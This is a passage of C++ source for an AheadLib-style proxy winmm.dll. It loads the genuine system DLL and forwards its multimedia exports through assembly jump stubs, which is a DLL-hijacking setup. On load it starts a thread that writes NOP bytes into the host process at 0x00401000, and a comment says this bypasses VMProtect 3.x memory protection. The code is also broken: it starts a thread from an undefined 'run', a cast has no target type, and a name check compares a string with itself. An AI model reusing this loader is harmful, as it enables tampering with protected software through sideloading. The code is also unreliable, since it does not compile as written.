pfnAheadLib_mixerGetDevCapsA; 311 | PVOID pfnAheadLib_mixerGetDevCapsW; 312 | PVOID pfnAheadLib_mixerGetID; 313 | PVOID pfnAheadLib_mixerGetLineControlsA; 314 | PVOID pfnAheadLib_mixerGetLineControlsW; 315 | PVOID pfnAheadLib_mixerGetLineInfoA; 316 | PVOID pfnAheadLib_mixerGetLineInfoW; 317 | PVOID pfnAheadLib_mixerGetNumDevs; 318 | PVOID pfnAheadLib_mixerMessage; 319 | PVOID pfnAheadLib_mixerOpen; 320 | PVOID pfnAheadLib_mixerSetControlDetails; 321 | PVOID pfnAheadLib_mmDrvInstall; 322 | PVOID pfnAheadLib_mmGetCurrentTask; 323 | PVOID pfnAheadLib_mmTaskBlock; 324 | PVOID pfnAheadLib_mmTaskCreate; 325 | PVOID pfnAheadLib_mmTaskSignal; 326 | PVOID pfnAheadLib_mmTaskYield; 327 | PVOID pfnAheadLib_mmioAdvance; 328 | PVOID pfnAheadLib_mmioAscend; 329 | PVOID pfnAheadLib_mmioClose; 330 | PVOID pfnAheadLib_mmioCreateChunk; 331 | PVOID pfnAheadLib_mmioDescend; 332 | PVOID pfnAheadLib_mmioFlush; 333 | PVOID pfnAheadLib_mmioGetInfo; 334 | PVOID pfnAheadLib_mmioInstallIOProcA; 335 | PVOID pfnAheadLib_mmioInstallIOProcW; 336 | PVOID pfnAheadLib_mmioOpenA; 337 | PVOID pfnAheadLib_mmioOpenW; 338 | PVOID pfnAheadLib_mmioRead; 339 | PVOID pfnAheadLib_mmioRenameA; 340 | PVOID pfnAheadLib_mmioRenameW; 341 | PVOID pfnAheadLib_mmioSeek; 342 | PVOID pfnAheadLib_mmioSendMessage; 343 | PVOID pfnAheadLib_mmioSetBuffer; 344 | PVOID pfnAheadLib_mmioSetInfo; 345 | PVOID pfnAheadLib_mmioStringToFOURCCA; 346 | PVOID pfnAheadLib_mmioStringToFOURCCW; 347 | PVOID pfnAheadLib_mmioWrite; 348 | PVOID pfnAheadLib_mmsystemGetVersion; 349 | PVOID pfnAheadLib_mod32Message; 350 | PVOID pfnAheadLib_mxd32Message; 351 | PVOID pfnAheadLib_sndPlaySoundA; 352 | PVOID pfnAheadLib_sndPlaySoundW; 353 | PVOID pfnAheadLib_tid32Message; 354 | PVOID pfnAheadLib_timeBeginPeriod; 355 | PVOID pfnAheadLib_timeEndPeriod; 356 | PVOID pfnAheadLib_timeGetDevCaps; 357 | PVOID pfnAheadLib_timeGetSystemTime; 358 | PVOID pfnAheadLib_timeGetTime; 359 | PVOID pfnAheadLib_timeKillEvent; 360 | PVOID pfnAheadLib_timeSetEvent; 361 | PVOID pfnAheadLib_waveInAddBuffer; 362 | PVOID pfnAheadLib_waveInClose; 363 | PVOID pfnAheadLib_waveInGetDevCapsA; 364 | PVOID pfnAheadLib_waveInGetDevCapsW; 365 | PVOID pfnAheadLib_waveInGetErrorTextA; 366 | PVOID pfnAheadLib_waveInGetErrorTextW; 367 | PVOID pfnAheadLib_waveInGetID; 368 | PVOID pfnAheadLib_waveInGetNumDevs; 369 | PVOID pfnAheadLib_waveInGetPosition; 370 | PVOID pfnAheadLib_waveInMessage; 371 | PVOID pfnAheadLib_waveInOpen; 372 | PVOID pfnAheadLib_waveInPrepareHeader; 373 | PVOID pfnAheadLib_waveInReset; 374 | PVOID pfnAheadLib_waveInStart; 375 | PVOID pfnAheadLib_waveInStop; 376 | PVOID pfnAheadLib_waveInUnprepareHeader; 377 | PVOID pfnAheadLib_waveOutBreakLoop; 378 | PVOID pfnAheadLib_waveOutClose; 379 | PVOID pfnAheadLib_waveOutGetDevCapsA; 380 | PVOID pfnAheadLib_waveOutGetDevCapsW; 381 | PVOID pfnAheadLib_waveOutGetErrorTextA; 382 | PVOID pfnAheadLib_waveOutGetErrorTextW; 383 | PVOID pfnAheadLib_waveOutGetID; 384 | PVOID pfnAheadLib_waveOutGetNumDevs; 385 | PVOID pfnAheadLib_waveOutGetPitch; 386 | PVOID pfnAheadLib_waveOutGetPlaybackRate; 387 | PVOID pfnAheadLib_waveOutGetPosition; 388 | PVOID pfnAheadLib_waveOutGetVolume; 389 | PVOID pfnAheadLib_waveOutMessage; 390 | PVOID pfnAheadLib_waveOutOpen; 391 | PVOID pfnAheadLib_waveOutPause; 392 | PVOID pfnAheadLib_waveOutPrepareHeader; 393 | PVOID pfnAheadLib_waveOutReset; 394 | PVOID pfnAheadLib_waveOutRestart; 395 | PVOID pfnAheadLib_waveOutSetPitch; 396 | PVOID pfnAheadLib_waveOutSetPlaybackRate; 397 | PVOID pfnAheadLib_waveOutSetVolume; 398 | PVOID pfnAheadLib_waveOutUnprepareHeader; 399 | PVOID pfnAheadLib_waveOutWrite; 400 | PVOID pfnAheadLib_wid32Message; 401 | PVOID pfnAheadLib_wod32Message; 402 | 403 | 404 | static 405 | HMODULE g_OldModule = NULL; 406 | 407 | VOID WINAPI Free() 408 | { 409 | if (g_OldModule) 410 | { 411 | FreeLibrary(g_OldModule); 412 | } 413 | } 414 | 415 | 416 | BOOL WINAPI Load() 417 | { 418 | TCHAR tzPath[MAX_PATH]; 419 | TCHAR tzTemp[MAX_PATH * 2]; 420 | 421 | // 422 | // 这里是否从系统目录或当前目录加载原始DLL 423 | // 424 | GetSystemDirectory(tzPath, MAX_PATH); 425 | lstrcat(tzPath, TEXT("\\winmm.dll")); 426 | 427 | g_OldModule = LoadLibrary(tzPath); 428 | if (g_OldModule == NULL) 429 | { 430 | wsprintf(tzTemp, TEXT("无法找到模块 %s,程序无法正常运行"), tzPath); 431 | MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); 432 | } 433 | 434 | return (g_OldModule != NULL); 435 | 436 | } 437 | 438 | 439 | FARPROC WINAPI GetAddress(PCSTR pszProcName) 440 | { 441 | FARPROC fpAddress; 442 | CHAR szProcName[64]; 443 | TCHAR tzTemp[MAX_PATH]; 444 | 445 | fpAddress = GetProcAddress(g_OldModule, pszProcName); 446 | if (fpAddress == NULL) 447 | { 448 | if (HIWORD(pszProcName) == 0) 449 | { 450 | wsprintfA(szProcName, "#%d", pszProcName); 451 | pszProcName = szProcName; 452 | } 453 | 454 | wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行"), pszProcName); 455 | MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); 456 | ExitProcess(-2); 457 | } 458 | return fpAddress; 459 | } 460 | 461 | BOOL WINAPI Init() 462 | { 463 | pfnAheadLib_Unnamed2 = GetAddress(MAKEINTRESOURCEA(2)); 464 | pfnAheadLib_mciExecute = GetAddress("mciExecute"); 465 | pfnAheadLib_CloseDriver = GetAddress("CloseDriver"); 466 | pfnAheadLib_DefDriverProc = GetAddress("DefDriverProc"); 467 | pfnAheadLib_DriverCallback = GetAddress("DriverCallback"); 468 | pfnAheadLib_DrvGetModuleHandle = GetAddress("DrvGetModuleHandle"); 469 | pfnAheadLib_GetDriverModuleHandle = GetAddress("GetDriverModuleHandle"); 470 | pfnAheadLib_NotifyCallbackData = GetAddress("NotifyCallbackData"); 471 | pfnAheadLib_OpenDriver = GetAddress("OpenDriver"); 472 | pfnAheadLib_PlaySound = GetAddress("PlaySound"); 473 | pfnAheadLib_PlaySoundA = GetAddress("PlaySoundA"); 474 | pfnAheadLib_PlaySoundW = GetAddress("PlaySoundW"); 475 | pfnAheadLib_SendDriverMessage = GetAddress("SendDriverMessage"); 476 | pfnAheadLib_WOW32DriverCallback = GetAddress("WOW32DriverCallback"); 477 | pfnAheadLib_WOW32ResolveMultiMediaHandle = GetAddress("WOW32ResolveMultiMediaHandle"); 478 | pfnAheadLib_WOWAppExit = GetAddress("WOWAppExit"); 479 | pfnAheadLib_aux32Message = GetAddress("aux32Message"); 480 | pfnAheadLib_auxGetDevCapsA = GetAddress("auxGetDevCapsA"); 481 | pfnAheadLib_auxGetDevCapsW = GetAddress("auxGetDevCapsW"); 482 | pfnAheadLib_auxGetNumDevs = GetAddress("auxGetNumDevs"); 483 | pfnAheadLib_auxGetVolume = GetAddress("auxGetVolume"); 484 | pfnAheadLib_auxOutMessage = GetAddress("auxOutMessage"); 485 | pfnAheadLib_auxSetVolume = GetAddress("auxSetVolume"); 486 | pfnAheadLib_joy32Message = GetAddress("joy32Message"); 487 | pfnAheadLib_joyConfigChanged = GetAddress("joyConfigChanged"); 488 | pfnAheadLib_joyGetDevCapsA = GetAddress("joyGetDevCapsA"); 489 | pfnAheadLib_joyGetDevCapsW = GetAddress("joyGetDevCapsW"); 490 | pfnAheadLib_joyGetNumDevs = GetAddress("joyGetNumDevs"); 491 | pfnAheadLib_joyGetPos = GetAddress("joyGetPos"); 492 | pfnAheadLib_joyGetPosEx = GetAddress("joyGetPosEx"); 493 | pfnAheadLib_joyGetThreshold = GetAddress("joyGetThreshold"); 494 | pfnAheadLib_joyReleaseCapture = GetAddress("joyReleaseCapture"); 495 | pfnAheadLib_joySetCapture = GetAddress("joySetCapture"); 496 | pfnAheadLib_joySetThreshold = GetAddress("joySetThreshold"); 497 | pfnAheadLib_mci32Message = GetAddress("mci32Message"); 498 | pfnAheadLib_mciDriverNotify = GetAddress("mciDriverNotify"); 499 | pfnAheadLib_mciDriverYield = GetAddress("mciDriverYield"); 500 | pfnAheadLib_mciFreeCommandResource = GetAddress("mciFreeCommandResource"); 501 | pfnAheadLib_mciGetCreatorTask = GetAddress("mciGetCreatorTask"); 502 | pfnAheadLib_mciGetDeviceIDA = GetAddress("mciGetDeviceIDA"); 503 | pfnAheadLib_mciGetDeviceIDFromElementIDA = GetAddress("mciGetDeviceIDFromElementIDA"); 504 | pfnAheadLib_mciGetDeviceIDFromElementIDW = GetAddress("mciGetDeviceIDFromElementIDW"); 505 | pfnAheadLib_mciGetDeviceIDW = GetAddress("mciGetDeviceIDW"); 506 | pfnAheadLib_mciGetDriverData = GetAddress("mciGetDriverData"); 507 | pfnAheadLib_mciGetErrorStringA = GetAddress("mciGetErrorStringA"); 508 | pfnAheadLib_mciGetErrorStringW = GetAddress("mciGetErrorStringW"); 509 | pfnAheadLib_mciGetYieldProc = GetAddress("mciGetYieldProc"); 510 | pfnAheadLib_mciLoadCommandResource = GetAddress("mciLoadCommandResource"); 511 | pfnAheadLib_mciSendCommandA = GetAddress("mciSendCommandA"); 512 | pfnAheadLib_mciSendCommandW = GetAddress("mciSendCommandW"); 513 | pfnAheadLib_mciSendStringA = GetAddress("mciSendStringA"); 514 | pfnAheadLib_mciSendStringW = GetAddress("mciSendStringW"); 515 | pfnAheadLib_mciSetDriverData = GetAddress("mciSetDriverData"); 516 | pfnAheadLib_mciSetYieldProc = GetAddress("mciSetYieldProc"); 517 | pfnAheadLib_mid32Message = GetAddress("mid32Message"); 518 | pfnAheadLib_midiConnect = GetAddress("midiConnect"); 519 | pfnAheadLib_midiDisconnect = GetAddress("midiDisconnect"); 520 | pfnAheadLib_midiInAddBuffer = GetAddress("midiInAddBuffer"); 521 | pfnAheadLib_midiInClose = GetAddress("midiInClose"); 522 | pfnAheadLib_midiInGetDevCapsA = GetAddress("midiInGetDevCapsA"); 523 | pfnAheadLib_midiInGetDevCapsW = GetAddress("midiInGetDevCapsW"); 524 | pfnAheadLib_midiInGetErrorTextA = GetAddress("midiInGetErrorTextA"); 525 | pfnAheadLib_midiInGetErrorTextW = GetAddress("midiInGetErrorTextW"); 526 | pfnAheadLib_midiInGetID = GetAddress("midiInGetID"); 527 | pfnAheadLib_midiInGetNumDevs = GetAddress("midiInGetNumDevs"); 528 | pfnAheadLib_midiInMessage = GetAddress("midiInMessage"); 529 | pfnAheadLib_midiInOpen = GetAddress("midiInOpen"); 530 | pfnAheadLib_midiInPrepareHeader = GetAddress("midiInPrepareHeader"); 531 | pfnAheadLib_midiInReset = GetAddress("midiInReset"); 532 | pfnAheadLib_midiInStart = GetAddress("midiInStart"); 533 | pfnAheadLib_midiInStop = GetAddress("midiInStop"); 534 | pfnAheadLib_midiInUnprepareHeader = GetAddress("midiInUnprepareHeader"); 535 | pfnAheadLib_midiOutCacheDrumPatches = GetAddress("midiOutCacheDrumPatches"); 536 | pfnAheadLib_midiOutCachePatches = GetAddress("midiOutCachePatches"); 537 | pfnAheadLib_midiOutClose = GetAddress("midiOutClose"); 538 | pfnAheadLib_midiOutGetDevCapsA = GetAddress("midiOutGetDevCapsA"); 539 | pfnAheadLib_midiOutGetDevCapsW = GetAddress("midiOutGetDevCapsW"); 540 | pfnAheadLib_midiOutGetErrorTextA = GetAddress("midiOutGetErrorTextA"); 541 | pfnAheadLib_midiOutGetErrorTextW = GetAddress("midiOutGetErrorTextW"); 542 | pfnAheadLib_midiOutGetID = GetAddress("midiOutGetID"); 543 | pfnAheadLib_midiOutGetNumDevs = GetAddress("midiOutGetNumDevs"); 544 | pfnAheadLib_midiOutGetVolume = GetAddress("midiOutGetVolume"); 545 | pfnAheadLib_midiOutLongMsg = GetAddress("midiOutLongMsg"); 546 | pfnAheadLib_midiOutMessage = GetAddress("midiOutMessage"); 547 | pfnAheadLib_midiOutOpen = GetAddress("midiOutOpen"); 548 | pfnAheadLib_midiOutPrepareHeader = GetAddress("midiOutPrepareHeader"); 549 | pfnAheadLib_midiOutReset = GetAddress("midiOutReset"); 550 | pfnAheadLib_midiOutSetVolume = GetAddress("midiOutSetVolume"); 551 | pfnAheadLib_midiOutShortMsg = GetAddress("midiOutShortMsg"); 552 | pfnAheadLib_midiOutUnprepareHeader = GetAddress("midiOutUnprepareHeader"); 553 | pfnAheadLib_midiStreamClose = GetAddress("midiStreamClose"); 554 | pfnAheadLib_midiStreamOpen = GetAddress("midiStreamOpen"); 555 | pfnAheadLib_midiStreamOut = GetAddress("midiStreamOut"); 556 | pfnAheadLib_midiStreamPause = GetAddress("midiStreamPause"); 557 | pfnAheadLib_midiStreamPosition = GetAddress("midiStreamPosition"); 558 | pfnAheadLib_midiStreamProperty = GetAddress("midiStreamProperty"); 559 | pfnAheadLib_midiStreamRestart = GetAddress("midiStreamRestart"); 560 | pfnAheadLib_midiStreamStop = GetAddress("midiStreamStop"); 561 | pfnAheadLib_mixerClose = GetAddress("mixerClose"); 562 | pfnAheadLib_mixerGetControlDetailsA = GetAddress("mixerGetControlDetailsA"); 563 | pfnAheadLib_mixerGetControlDetailsW = GetAddress("mixerGetControlDetailsW"); 564 | pfnAheadLib_mixerGetDevCapsA = GetAddress("mixerGetDevCapsA"); 565 | pfnAheadLib_mixerGetDevCapsW = GetAddress("mixerGetDevCapsW"); 566 | pfnAheadLib_mixerGetID = GetAddress("mixerGetID"); 567 | pfnAheadLib_mixerGetLineControlsA = GetAddress("mixerGetLineControlsA"); 568 | pfnAheadLib_mixerGetLineControlsW = GetAddress("mixerGetLineControlsW"); 569 | pfnAheadLib_mixerGetLineInfoA = GetAddress("mixerGetLineInfoA"); 570 | pfnAheadLib_mixerGetLineInfoW = GetAddress("mixerGetLineInfoW"); 571 | pfnAheadLib_mixerGetNumDevs = GetAddress("mixerGetNumDevs"); 572 | pfnAheadLib_mixerMessage = GetAddress("mixerMessage"); 573 | pfnAheadLib_mixerOpen = GetAddress("mixerOpen"); 574 | pfnAheadLib_mixerSetControlDetails = GetAddress("mixerSetControlDetails"); 575 | pfnAheadLib_mmDrvInstall = GetAddress("mmDrvInstall"); 576 | pfnAheadLib_mmGetCurrentTask = GetAddress("mmGetCurrentTask"); 577 | pfnAheadLib_mmTaskBlock = GetAddress("mmTaskBlock"); 578 | pfnAheadLib_mmTaskCreate = GetAddress("mmTaskCreate"); 579 | pfnAheadLib_mmTaskSignal = GetAddress("mmTaskSignal"); 580 | pfnAheadLib_mmTaskYield = GetAddress("mmTaskYield"); 581 | pfnAheadLib_mmioAdvance = GetAddress("mmioAdvance"); 582 | pfnAheadLib_mmioAscend = GetAddress("mmioAscend"); 583 | pfnAheadLib_mmioClose = GetAddress("mmioClose"); 584 | pfnAheadLib_mmioCreateChunk = GetAddress("mmioCreateChunk"); 585 | pfnAheadLib_mmioDescend = GetAddress("mmioDescend"); 586 | pfnAheadLib_mmioFlush = GetAddress("mmioFlush"); 587 | pfnAheadLib_mmioGetInfo = GetAddress("mmioGetInfo"); 588 | pfnAheadLib_mmioInstallIOProcA = GetAddress("mmioInstallIOProcA"); 589 | pfnAheadLib_mmioInstallIOProcW = GetAddress("mmioInstallIOProcW"); 590 | pfnAheadLib_mmioOpenA = GetAddress("mmioOpenA"); 591 | pfnAheadLib_mmioOpenW = GetAddress("mmioOpenW"); 592 | pfnAheadLib_mmioRead = GetAddress("mmioRead"); 593 | pfnAheadLib_mmioRenameA = GetAddress("mmioRenameA"); 594 | pfnAheadLib_mmioRenameW = GetAddress("mmioRenameW"); 595 | pfnAheadLib_mmioSeek = GetAddress("mmioSeek"); 596 | pfnAheadLib_mmioSendMessage = GetAddress("mmioSendMessage"); 597 | pfnAheadLib_mmioSetBuffer = GetAddress("mmioSetBuffer"); 598 | pfnAheadLib_mmioSetInfo = GetAddress("mmioSetInfo"); 599 | pfnAheadLib_mmioStringToFOURCCA = GetAddress("mmioStringToFOURCCA"); 600 | pfnAheadLib_mmioStringToFOURCCW = GetAddress("mmioStringToFOURCCW"); 601 | pfnAheadLib_mmioWrite = GetAddress("mmioWrite"); 602 | pfnAheadLib_mmsystemGetVersion = GetAddress("mmsystemGetVersion"); 603 | pfnAheadLib_mod32Message = GetAddress("mod32Message"); 604 | pfnAheadLib_mxd32Message = GetAddress("mxd32Message"); 605 | pfnAheadLib_sndPlaySoundA = GetAddress("sndPlaySoundA"); 606 | pfnAheadLib_sndPlaySoundW = GetAddress("sndPlaySoundW"); 607 | pfnAheadLib_tid32Message = GetAddress("tid32Message"); 608 | pfnAheadLib_timeBeginPeriod = GetAddress("timeBeginPeriod"); 609 | pfnAheadLib_timeEndPeriod = GetAddress("timeEndPeriod"); 610 | pfnAheadLib_timeGetDevCaps = GetAddress("timeGetDevCaps"); 611 | pfnAheadLib_timeGetSystemTime = GetAddress("timeGetSystemTime"); 612 | pfnAheadLib_timeGetTime = GetAddress("timeGetTime"); 613 | pfnAheadLib_timeKillEvent = GetAddress("timeKillEvent"); 614 | pfnAheadLib_timeSetEvent = GetAddress("timeSetEvent"); 615 | pfnAheadLib_waveInAddBuffer = GetAddress("waveInAddBuffer"); 616 | pfnAheadLib_waveInClose = GetAddress("waveInClose"); 617 | pfnAheadLib_waveInGetDevCapsA = GetAddress("waveInGetDevCapsA"); 618 | pfnAheadLib_waveInGetDevCapsW = GetAddress("waveInGetDevCapsW"); 619 | pfnAheadLib_waveInGetErrorTextA = GetAddress("waveInGetErrorTextA"); 620 | pfnAheadLib_waveInGetErrorTextW = GetAddress("waveInGetErrorTextW"); 621 | pfnAheadLib_waveInGetID = GetAddress("waveInGetID"); 622 | pfnAheadLib_waveInGetNumDevs = GetAddress("waveInGetNumDevs"); 623 | pfnAheadLib_waveInGetPosition = GetAddress("waveInGetPosition"); 624 | pfnAheadLib_waveInMessage = GetAddress("waveInMessage"); 625 | pfnAheadLib_waveInOpen = GetAddress("waveInOpen"); 626 | pfnAheadLib_waveInPrepareHeader = GetAddress("waveInPrepareHeader"); 627 | pfnAheadLib_waveInReset = GetAddress("waveInReset"); 628 | pfnAheadLib_waveInStart = GetAddress("waveInStart"); 629 | pfnAheadLib_waveInStop = GetAddress("waveInStop"); 630 | pfnAheadLib_waveInUnprepareHeader = GetAddress("waveInUnprepareHeader"); 631 | pfnAheadLib_waveOutBreakLoop = GetAddress("waveOutBreakLoop"); 632 | pfnAheadLib_waveOutClose = GetAddress("waveOutClose"); 633 | pfnAheadLib_waveOutGetDevCapsA = GetAddress("waveOutGetDevCapsA"); 634 | pfnAheadLib_waveOutGetDevCapsW = GetAddress("waveOutGetDevCapsW"); 635 | pfnAheadLib_waveOutGetErrorTextA = GetAddress("waveOutGetErrorTextA"); 636 | pfnAheadLib_waveOutGetErrorTextW = GetAddress("waveOutGetErrorTextW"); 637 | pfnAheadLib_waveOutGetID = GetAddress("waveOutGetID"); 638 | pfnAheadLib_waveOutGetNumDevs = GetAddress("waveOutGetNumDevs"); 639 | pfnAheadLib_waveOutGetPitch = GetAddress("waveOutGetPitch"); 640 | pfnAheadLib_waveOutGetPlaybackRate = GetAddress("waveOutGetPlaybackRate"); 641 | pfnAheadLib_waveOutGetPosition = GetAddress("waveOutGetPosition"); 642 | pfnAheadLib_waveOutGetVolume = GetAddress("waveOutGetVolume"); 643 | pfnAheadLib_waveOutMessage = GetAddress("waveOutMessage"); 644 | pfnAheadLib_waveOutOpen = GetAddress("waveOutOpen"); 645 | pfnAheadLib_waveOutPause = GetAddress("waveOutPause"); 646 | pfnAheadLib_waveOutPrepareHeader = GetAddress("waveOutPrepareHeader"); 647 | pfnAheadLib_waveOutReset = GetAddress("waveOutReset"); 648 | pfnAheadLib_waveOutRestart = GetAddress("waveOutRestart"); 649 | pfnAheadLib_waveOutSetPitch = GetAddress("waveOutSetPitch"); 650 | pfnAheadLib_waveOutSetPlaybackRate = GetAddress("waveOutSetPlaybackRate"); 651 | pfnAheadLib_waveOutSetVolume = GetAddress("waveOutSetVolume"); 652 | pfnAheadLib_waveOutUnprepareHeader = GetAddress("waveOutUnprepareHeader"); 653 | pfnAheadLib_waveOutWrite = GetAddress("waveOutWrite"); 654 | pfnAheadLib_wid32Message = GetAddress("wid32Message"); 655 | pfnAheadLib_wod32Message = GetAddress("wod32Message"); 656 | return TRUE; 657 | } 658 | 659 | DWORD WINAPI ThreadProc(LPVOID lpThreadParameter) 660 | { 661 | HANDLE hProcess; 662 | 663 | PVOID addr1 = reinterpret_cast(0x00401000); 664 | BYTE data1[] = { 0x90, 0x90, 0x90, 0x90 }; 665 | 666 | // 667 | // 绕过VMP3.x 的内存保护 668 | // 669 | hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, GetCurrentProcessId()); 670 | if (hProcess) 671 | { 672 | WriteProcessMemory(hProcess, addr1, data1, sizeof(data1), NULL); 673 | 674 | CloseHandle(hProcess); 675 | } 676 | 677 | return 0; 678 | } 679 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) 680 | { 681 | if (dwReason == DLL_PROCESS_ATTACH) 682 | { 683 | DisableThreadLibraryCalls(hModule); 684 | 685 | if (Load() && Init()) 686 | { 687 | 688 | HANDLE hThread1 = CreateThread(NULL, 0, run, NULL, 0, NULL); 689 | //是否判断宿主进程名 690 | // TCHAR szAppName[MAX_PATH] = TEXT("MyApp.exe"); 691 | // TCHAR szCurName[MAX_PATH]; 692 | 693 | // GetModuleFileName(NULL, szCurName, MAX_PATH); 694 | // PathStripPath(szCurName); 695 | // if (StrCmpI(szAppName, szAppName) == 0) 696 | // { 697 | // //启动补丁线程或者其他操作 698 | // HANDLE hThread1 = CreateThread(NULL, 0, run, NULL, 0, NULL); 699 | // if (hThread) 700 | // { 701 | // CloseHandle(hThread); 702 | // } 703 | // } 704 | } 705 | } 706 | else if (dwReason == DLL_PROCESS_DETACH) 707 | { 708 | Free(); 709 | } 710 | 711 | return TRUE; 712 | } 713 | 714 | EXTERN_C __declspec(naked) void __cdecl AheadLib_Unnamed2(void) 715 | { 716 | __asm jmp pfnAheadLib_Unnamed2; 717 | } 718 | 719 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciExecute(void) 720 | { 721 | __asm jmp pfnAheadLib_mciExecute; 722 | } 723 | 724 | EXTERN_C __declspec(naked) void __cdecl AheadLib_CloseDriver(void) 725 | { 726 | __asm jmp pfnAheadLib_CloseDriver; 727 | } 728 | 729 | EXTERN_C __declspec(naked) void __cdecl AheadLib_DefDriverProc(void) 730 | { 731 | __asm jmp pfnAheadLib_DefDriverProc; 732 | } 733 | 734 | EXTERN_C __declspec(naked) void __cdecl AheadLib_DriverCallback(void) 735 | { 736 | __asm jmp pfnAheadLib_DriverCallback; 737 | } 738 | 739 | EXTERN_C __declspec(naked) void __cdecl AheadLib_DrvGetModuleHandle(void) 740 | { 741 | __asm jmp pfnAheadLib_DrvGetModuleHandle; 742 | } 743 | 744 | EXTERN_C __declspec(naked) void __cdecl AheadLib_GetDriverModuleHandle(void) 745 | { 746 | __asm jmp pfnAheadLib_GetDriverModuleHandle; 747 | } 748 | 749 | EXTERN_C __declspec(naked) void __cdecl AheadLib_NotifyCallbackData(void) 750 | { 751 | __asm jmp pfnAheadLib_NotifyCallbackData; 752 | } 753 | 754 | EXTERN_C __declspec(naked) void __cdecl AheadLib_OpenDriver(void) 755 | { 756 | __asm jmp pfnAheadLib_OpenDriver; 757 | } 758 | 759 | EXTERN_C __declspec(naked) void __cdecl AheadLib_PlaySound(void) 760 | { 761 | __asm jmp pfnAheadLib_PlaySound; 762 | } 763 | 764 | EXTERN_C __declspec(naked) void __cdecl AheadLib_PlaySoundA(void) 765 | { 766 | __asm jmp pfnAheadLib_PlaySoundA; 767 | } 768 | 769 | EXTERN_C __declspec(naked) void __cdecl AheadLib_PlaySoundW(void) 770 | { 771 | __asm jmp pfnAheadLib_PlaySoundW; 772 | } 773 | 774 | EXTERN_C __declspec(naked) void __cdecl AheadLib_SendDriverMessage(void) 775 | { 776 | __asm jmp pfnAheadLib_SendDriverMessage; 777 | } 778 | 779 | EXTERN_C __declspec(naked) void __cdecl AheadLib_WOW32DriverCallback(void) 780 | { 781 | __asm jmp pfnAheadLib_WOW32DriverCallback; 782 | } 783 | 784 | EXTERN_C __declspec(naked) void __cdecl AheadLib_WOW32ResolveMultiMediaHandle(void) 785 | { 786 | __asm jmp pfnAheadLib_WOW32ResolveMultiMediaHandle; 787 | } 788 | 789 | EXTERN_C __declspec(naked) void __cdecl AheadLib_WOWAppExit(void) 790 | { 791 | __asm jmp pfnAheadLib_WOWAppExit; 792 | } 793 | 794 | EXTERN_C __declspec(naked) void __cdecl AheadLib_aux32Message(void) 795 | { 796 | __asm jmp pfnAheadLib_aux32Message; 797 | } 798 | 799 | EXTERN_C __declspec(naked) void __cdecl AheadLib_auxGetDevCapsA(void) 800 | { 801 | __asm jmp pfnAheadLib_auxGetDevCapsA; 802 | } 803 | 804 | EXTERN_C __declspec(naked) void __cdecl AheadLib_auxGetDevCapsW(void) 805 | { 806 | __asm jmp pfnAheadLib_auxGetDevCapsW; 807 | } 808 | 809 | EXTERN_C __declspec(naked) void __cdecl AheadLib_auxGetNumDevs(void) 810 | { 811 | __asm jmp pfnAheadLib_auxGetNumDevs; 812 | } 813 | 814 | EXTERN_C __declspec(naked) void __cdecl AheadLib_auxGetVolume(void) 815 | { 816 | __asm jmp pfnAheadLib_auxGetVolume; 817 | } 818 | 819 | EXTERN_C __declspec(naked) void __cdecl AheadLib_auxOutMessage(void) 820 | { 821 | __asm jmp pfnAheadLib_auxOutMessage; 822 | } 823 | 824 | EXTERN_C __declspec(naked) void __cdecl AheadLib_auxSetVolume(void) 825 | { 826 | __asm jmp pfnAheadLib_auxSetVolume; 827 | } 828 | 829 | EXTERN_C __declspec(naked) void __cdecl AheadLib_joy32Message(void) 830 | { 831 | __asm jmp pfnAheadLib_joy32Message; 832 | } 833 | 834 | EXTERN_C __declspec(naked) void __cdecl AheadLib_joyConfigChanged(void) 835 | { 836 | __asm jmp pfnAheadLib_joyConfigChanged; 837 | } 838 | 839 | EXTERN_C __declspec(naked) void __cdecl AheadLib_joyGetDevCapsA(void) 840 | { 841 | __asm jmp pfnAheadLib_joyGetDevCapsA; 842 | } 843 | 844 | EXTERN_C __declspec(naked) void __cdecl AheadLib_joyGetDevCapsW(void) 845 | { 846 | __asm jmp pfnAheadLib_joyGetDevCapsW; 847 | } 848 | 849 | EXTERN_C __declspec(naked) void __cdecl AheadLib_joyGetNumDevs(void) 850 | { 851 | __asm jmp pfnAheadLib_joyGetNumDevs; 852 | } 853 | 854 | EXTERN_C __declspec(naked) void __cdecl AheadLib_joyGetPos(void) 855 | { 856 | __asm jmp pfnAheadLib_joyGetPos; 857 | } 858 | 859 | EXTERN_C __declspec(naked) void __cdecl AheadLib_joyGetPosEx(void) 860 | { 861 | __asm jmp pfnAheadLib_joyGetPosEx; 862 | } 863 | 864 | EXTERN_C __declspec(naked) void __cdecl AheadLib_joyGetThreshold(void) 865 | { 866 | __asm jmp pfnAheadLib_joyGetThreshold; 867 | } 868 | 869 | EXTERN_C __declspec(naked) void __cdecl AheadLib_joyReleaseCapture(void) 870 | { 871 | __asm jmp pfnAheadLib_joyReleaseCapture; 872 | } 873 | 874 | EXTERN_C __declspec(naked) void __cdecl AheadLib_joySetCapture(void) 875 | { 876 | __asm jmp pfnAheadLib_joySetCapture; 877 | } 878 | 879 | EXTERN_C __declspec(naked) void __cdecl AheadLib_joySetThreshold(void) 880 | { 881 | __asm jmp pfnAheadLib_joySetThreshold; 882 | } 883 | 884 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mci32Message(void) 885 | { 886 | __asm jmp pfnAheadLib_mci32Message; 887 | } 888 | 889 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciDriverNotify(void) 890 | { 891 | __asm jmp pfnAheadLib_mciDriverNotify; 892 | } 893 | 894 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciDriverYield(void) 895 | { 896 | __asm jmp pfnAheadLib_mciDriverYield; 897 | } 898 | 899 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciFreeCommandResource(void) 900 | { 901 | __asm jmp pfnAheadLib_mciFreeCommandResource; 902 | } 903 | 904 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciGetCreatorTask(void) 905 | { 906 | __asm jmp pfnAheadLib_mciGetCreatorTask; 907 | } 908 | 909 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciGetDeviceIDA(void) 910 | { 911 | __asm jmp pfnAheadLib_mciGetDeviceIDA; 912 | } 